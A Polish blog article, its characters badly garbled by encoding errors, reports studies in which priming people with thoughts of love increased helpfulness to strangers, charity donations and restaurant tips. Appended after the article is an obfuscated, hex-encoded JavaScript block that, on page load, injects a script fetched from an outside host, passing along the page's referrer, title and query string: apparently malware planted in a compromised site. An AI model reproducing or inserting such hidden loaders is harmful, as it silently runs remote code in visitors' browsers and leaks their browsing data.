Jak wywieraA� wpA�yw miA�oA�ciA�?

opublikowane w Najnowsze Wpisy, Psychologia | 0

Co zrobiA�, by skA�oniA� kogoA� do wyA�wiadczenia nam przysA�ugi? Okazuje siA�, A?e nie musimy wcale uciekaA� siA� do skomplikowanych sztuczek perswazji. Wystarczy wywoA�amy w danej osobie skojarzenie z miA�oA�ciA�.

Psychologowie przekonujA�, A?e miA�oA�A� ma ogromnA� siA�A� perswazji. Francuscy psychologowie Jacques Fischer-Lokou, Lubomir Lamy i Nicolas Gueguen przeprowadzili niedawno ciekawe badanie. Zatrzymywali samotnych przechodniA?w na ulicy i proponowali im udziaA� w ankiecie. Prosili, by przypomnieli sobie oni jakA�A� miA�osnA� historiA� lub piosenkA�, ktA?re odegraA�y waA?nA� rolA� w ich A?yciu. Kilka minut po zakoA�czeniu ankiety do tych samych przechodniA?w podchodziA� inny badacz i pytaA� o drogA�. Ci z przechodniA?w, ktA?rych myA�li skierowane byA�y wczeA�niej w stronA� miA�oA�ci byli bardziej uczynni i poA�wiA�cali wiA�cej czasu na wytA�umaczenie drogi pytajA�cej osobie.

W innych badaniach Gueguen i Lamy udowodnili, A?e samo uA?ycie sA�owaA� a�zmiA�oA�A�a�? w treA�ci apeli charytatywnych moA?e skutkowaA�A�duA?ym wzrostem darowizn. Gdy na puszkach na datki badacze zamiast sA�owa a�zpomoca�? umieA�cili sA�owo a�zmiA�oA�A�a�?, datki wzrosA�y o 90 procent.

SiA�a perswazji jakA� jest miA�oA�A� moA?e przynieA�A� korzyA�ci takA?e wA�aA�cicielom restauracji. Przeprowadzono badanie, w ktA?rym kelnerzy kA�adli rachunki na trzech rA?A?nych talerzykach: okrA�gA�ych, kwadratowych i w ksztaA�cie serca. OkazaA�o siA�, A?e klienci, ktA?rzy dostawali rachunek na talerzyku w ksztaA�cie serca, dawali napiwki o 17 procent wyA?sze niA? ci, ktA?rzy dostawali rachunek na talerzyku w innym ksztaA�cie.


 var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}